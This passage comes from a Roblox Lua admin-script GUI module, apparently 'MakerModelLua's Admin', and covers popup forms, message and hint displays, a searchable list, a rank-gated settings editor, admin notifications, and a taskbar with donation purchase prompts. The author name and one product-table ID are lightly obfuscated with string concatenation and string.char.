4071 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
4072
4073 if Settings.EnableTaskBar then
4074 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
4075 else
4076 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
4077 Title.Size = UDim2.new(1, -95, 0, 25)
4078 end
4079
4080 if not ShowFormButtons then
4081 X:Destroy()
4082 TitleEnd:Destroy()
4083 Title.Size = UDim2.new(1, -55, 0, 25)
4084 end
4085
4086 local function CloseForm()
4087 if IsClosed == false then
4088 IsActive.Value = false
4089 IsClosed = true
4090 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4091 Closed:Fire()
4092 SOUND:PlayNotification(Player, 206375138)
4093 end
4094 end
4095
4096 local function MinimizeForm()
4097 if IsActive.Value == true then
4098 IsActive.Value = false
4099 Minimized:Fire()
4100 MinimizePos = Dragger.Position
4101 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4102 end
4103 end
4104
4105 local function RestoreForm()
4106 if IsActive.Value == false then
4107 IsActive.Value = true
4108 Restored:Fire()
4109 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4110 end
4111 end
4112
4113 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4114 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4115
4116 Close.OnInvoke = CloseForm
4117 Minimize.OnInvoke = MinimizeForm
4118 Restore.OnInvoke = RestoreForm
4119
4120 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4121
4122 if TaskBar then
4123 TaskBar:WaitForChild("AddForm")
4124 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4125 end
4126
4127 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4128end
4129
4130function GUI:CoreGui(Player, Type, Enable)
4131 local Parent = Player:FindFirstChild("Backpack")
4132 if not Parent then Parent = Player.Backpack end
4133 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4134end
4135
4136function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4137 if not Player or not Player:IsA("Player") then return nil end
4138 if BodyText == "" then return nil end
4139 if not Player:FindFirstChild("PlayerGui") then return nil end
4140
4141 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4142 local TextColor = GUI:GetColor(MessageSplit[1])
4143 if TextColor then BodyText = MessageSplit[2] end
4144 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4145
4146 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4147 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4148
4149 if Frame then
4150 local FormBar = Frame.Parent.Parent.FormBar
4151 local Said = false
4152 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4153 if Settings.EnableTaskBar then
4154 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4155 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4156 else
4157 Speak.Position = UDim2.new(1, -58, 0, 5)
4158 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4159 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4160 end
4161 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4162 if not Said then
4163 Said = true
4164 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4165 end
4166 end)
4167
4168 if TextColor then
4169 Body.TextColor3 = TextColor
4170 else
4171 Body.TextColor3 = Color3.new(1,1,1)
4172 end
4173
4174 if tonumber(Time) then coroutine.wrap(function()
4175 if AutoTime then
4176 Time = Time + math.floor(#BodyText/7)
4177 end
4178 local Alive = true
4179
4180 local function StopTimer() Alive = false end
4181 Closed.Event:connect(StopTimer)
4182 Minimized.Event:connect(StopTimer)
4183
4184 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4185 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4186 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4187 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4188 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4189 for i = Time,0,-1 do
4190 for ii = 1,10 do
4191 if Alive == true then
4192 Ticker.Text = i
4193 wait(0.1)
4194 else
4195 break
4196 end
4197 end
4198 end
4199 if Alive == true then
4200 Close:Invoke()
4201 else
4202 Ticker:Destroy()
4203 Stop:Destroy()
4204 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4205 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4206 end
4207 end)() end
4208
4209 CORE:ExecuteResource("CalculateScrollY", Body)
4210 end
4211end
4212
4213function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4214 if not Player then return nil end
4215 if not Player:IsA("Player") then return nil end
4216 if BodyText == "" then return nil end
4217 if not Player:FindFirstChild("PlayerGui") then return nil end
4218 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4219 local TextColor = GUI:ContrastColor()
4220 if Error then TextColor = Color3.new(1,0,0) end
4221
4222 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4223 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4224
4225 CORE:ExecuteResource("CalculateScrollY", Body)
4226
4227 return Frame, Close, Closed, Minimize, Minimized
4228end
4229
4230function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4231 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4232 local TweenTime = 0.5
4233 if not Time then Time = 5 end
4234 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4235 local MaxPos = -1
4236 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4237 local IVal = SGObj:FindFirstChild("Index")
4238 if IVal then
4239 MaxPos = math.max(MaxPos, IVal.Value)
4240 end
4241 end
4242 MaxPos = MaxPos + 1
4243 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4244 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4245 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4246 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4247 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4248 SG.Parent = Player.PlayerGui
4249
4250 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4251 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4252
4253 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4254 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4255 Delay(TweenTime, function()
4256 for i = 1,0,-0.1 do
4257 Body.TextTransparency = i
4258 wait()
4259 end
4260 Body.TextTransparency = 0
4261 end)
4262 Delay(TweenTime + Time, function()
4263 for i = 0,1,0.1 do
4264 Body.TextTransparency = i
4265 wait()
4266 end
4267 Body.TextTransparency = 1
4268 local Done = false
4269 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4270 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4271 end)
4272
4273end)() end
4274
4275function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4276 if not Player then return nil end
4277 if not Player:FindFirstChild("PlayerGui") then return nil end
4278 if not PreSearch then PreSearch = "" end
4279 if AutoNumber == nil then AutoNumber = true end
4280
4281 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4282 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4283 SearchBar.Parent = Frame.Parent
4284 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4285 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4286
4287 local SearchVer = 0,nil
4288 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4289 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4290 local InDialog = false
4291
4292 local function ShowResults(Key)
4293 SearchVer = SearchVer + 1
4294 local ThisSearchVer = SearchVer
4295
4296 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4297 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4298
4299 local NumPos,Num = 0,1
4300
4301 for _,Data in pairs(List) do
4302 if ThisSearchVer ~= SearchVer then
4303 break
4304 end
4305 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4306 if String then
4307 local ImageIcon = nil
4308 if type(Data) == "table" then
4309 String = Data[1]
4310 ImageIcon = Data[2]
4311 end
4312
4313 local TextColor = GUI:ContrastColor()
4314 local StringSplit = STRING:GetSplit(String, 1, " ")
4315 local NewColor = GUI:GetColor(StringSplit[1])
4316 if NewColor then TextColor = NewColor String = StringSplit[2] end
4317
4318 if string.find(string.lower(String), string.lower(Key)) then
4319 Spacer = false
4320 local Font = Settings.Font
4321 local Split = STRING:GetSplit(String, 1, " ")
4322 if string.sub(string.lower(String),1,6) == "bold: " then
4323 Font = "ArialBold"
4324 String = string.sub(String,7)
4325 elseif Fonts[Split[1]] then
4326 Font = Split[1]
4327 String = Split[2]
4328 end
4329 if string.sub(String,1,2) == "--" then
4330 Spacer = true
4331 end
4332 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4333 if ImageIcon then
4334 if tonumber(ImageIcon) then
4335 ImageIcon = "rbxassetid://"..ImageIcon
4336 elseif Icons[ImageIcon] then
4337 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4338 end
4339
4340 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4341 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4342 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4343 Content.Text = ""
4344 NumPos = NumPos + 90
4345 else
4346 NumPos = NumPos + 30
4347 end
4348
4349 if not Clickable then
4350 Content.AutoButtonColor = false
4351 Content.Active = false
4352 Content.BackgroundTransparency = 1
4353 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4354 SOUND:BindButton(Content)
4355 CORE:HandleEvent(Content, "MouseButton1Down", function()
4356 if not InDialog then
4357 Clicked:Fire(String)
4358 end
4359 end, true)
4360 end
4361 if Spacer == false then Num = Num + 1 end
4362 end
4363 end
4364 end
4365 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4366 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4367 end
4368
4369 RequestDialog.OnInvoke = function(RequestDialogCall)
4370 InDialog = RequestDialogCall
4371 end
4372
4373 ShowResults(PreSearch)
4374
4375 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4376 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4377 if Prop == "Text" then
4378 local Text = CORE:ReadProperty(RPR, Player, "Text")
4379 ShowResults(Text)
4380 Frame.CanvasPosition = Vector2.new(0,0)
4381 end
4382 end)
4383
4384 return Clicked, RequestDialog, Close
4385end
4386
4387function GUI:PropertyGui(Player, Title, Icon, Properties)
4388 if not Player then return nil end
4389 if not Player:FindFirstChild("PlayerGui") then return nil end
4390 if type(Properties) ~= "table" then return nil end
4391 local HasClosed = false
4392 local NewProperties = {}
4393
4394 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4395 Frame.ClipsDescendants = true
4396 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4397
4398 for PropertyName,Data in pairs(Properties) do
4399 NewProperties[PropertyName] = Data[1]
4400 end
4401
4402 local YCount = 0
4403
4404 for PropertyName,Data in pairs(Properties) do
4405 if type(Data) == "table" then
4406 local DefaultValue = Data[1]
4407 local Writable = Data[2]
4408 local ValueType = Data[3]
4409
4410 if Writable == nil then Writable = false end
4411 if type(ValueType) == "string" then -- now this is confusing
4412 ValueType = string.lower(ValueType)
4413 elseif ValueType == nil then
4414 ValueType = type(DefaultValue)
4415 end
4416
4417 if ValueType == "nil" or ValueType == "userdata" then
4418 ValueType = nil
4419 elseif ValueType == "table" then
4420 DefaultValue = STRING:UnpackArgs(DefaultValue)
4421 ValueType = "string"
4422 end
4423
4424 if ValueType then
4425 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4426 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4427 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4428
4429 if ValueType == "string" or ValueType == "number" then
4430 if Writable == true then
4431 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4432 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4433 if ValueType == "number" then
4434 NewProperties[PropertyName] = tonumber(Input.Text)
4435 else
4436 NewProperties[PropertyName] = tostring(Input.Text)
4437 end
4438 end end)
4439 else
4440 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4441 end
4442 end
4443 if ValueType == "boolean" then
4444 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4445 if DefaultValue == true then
4446 Check.Image = "rbxassetid://48138491"
4447 end
4448 if Writable == true then
4449 CORE:HandleEvent(Check, "MouseButton1Down", function()
4450 local NewVal = not NewProperties[PropertyName]
4451 NewProperties[PropertyName] = NewVal
4452 if NewVal == true then
4453 Check.Image = "rbxassetid://48138491"
4454 else
4455 Check.Image = "rbxassetid://48138474"
4456 end
4457 end)
4458 else
4459 Check.ImageTransparency = 0.5
4460 end
4461 end
4462 YCount = YCount + 50
4463 end
4464 end
4465 end
4466
4467 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4468
4469 Closed.Event:connect(function() HasClosed = true end)
4470
4471 repeat wait(0.1) until HasClosed
4472 return NewProperties
4473end
4474
4475function GUI:SettingsGui(Player)
4476 if not Player then return nil end
4477 local CloneViewSettings,CanChange = {},false
4478
4479 local ViewSettings = {
4480 ["Version"] = {CORE.Version.Value, false, nil};
4481 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4482 ["Font"] = {Settings.Font, 3, "Font"};
4483 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4484 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4485 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4486 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4487 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4488 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4489 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4490 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4491 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4492 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4493 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4494 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4495 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4496 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4497 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4498 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4499 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4500 ["Bet"] = {Settings.Bet, 3, "Bet"};
4501 }
4502
4503 local _,RankNum = RANK:GetRank(Player)
4504 if RankNum >= 3 then
4505 CanChange = true
4506 end
4507
4508 for Prop,Data in pairs(ViewSettings) do
4509 local Writable = false
4510 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4511 CloneViewSettings[Prop] = {Data[1], Writable}
4512 end
4513
4514 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4515 if CanChange then
4516 for Prop,Data in pairs(ViewSettings) do
4517 if Data[3] then
4518 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4519 end
4520 end
4521 CORE:FixSettings()
4522 end
4523end
4524
4525function GUI:MessageAdmins(TitleText, BodyText, Icon)
4526 for _,Player in pairs(Server.Players:GetPlayers()) do
4527 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4528 if PlayerAdmin then
4529 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4530 end
4531 end
4532end
4533
4534function GUI:TellAdmin(Player)
4535 if not Player then return end
4536
4537 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4538 if ValidAdmin == true then
4539 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4540 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4541 local SoundID = 237866523
4542 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4543 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4544 Sound:Play()
4545 coroutine.wrap(function()
4546 wait(4)
4547 Sound:Stop()
4548 Sound:Destroy()
4549 end)()
4550 end
4551 end
4552end
4553
4554function GUI:TellNotAdmin(Player)
4555 if not Player then return end
4556
4557 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4558end
4559
4560function GUI:CreateTaskBar(Player)
4561 if not Player then return nil end
4562 if Settings.EnableTaskBar == false then return nil end
4563 Player:WaitForChild("PlayerGui")
4564 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4565 if SG then SG:Destroy() end
4566 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4567 local IsMoving = false
4568 local TaskBarShown = false
4569 local Tasks = {}
4570
4571 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4572 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4573
4574 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4575 local Open,CloseForm = false,nil
4576 if Settings.EnableAdminMenu then
4577 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4578 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4579 if Open == false then
4580 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4581 Open,CloseForm = true,Close
4582
4583 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4584 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4585 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4586 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4587 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4588 local function DonateMoney(Type, Element)
4589 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4590 local Get = Request[Type]
4591 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4592 Server.MPS:PromptPurchase(Player, Get[1], true)
4593 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4594 Server.MPS:PromptPurchase(Player, Get[2], true)
4595 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4596 Server.MPS:PromptPurchase(Player, Get[3], true)
4597 else
4598 Element.Text = "Cannot get request"
4599 end
4600 end
4601 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4602 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4603 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
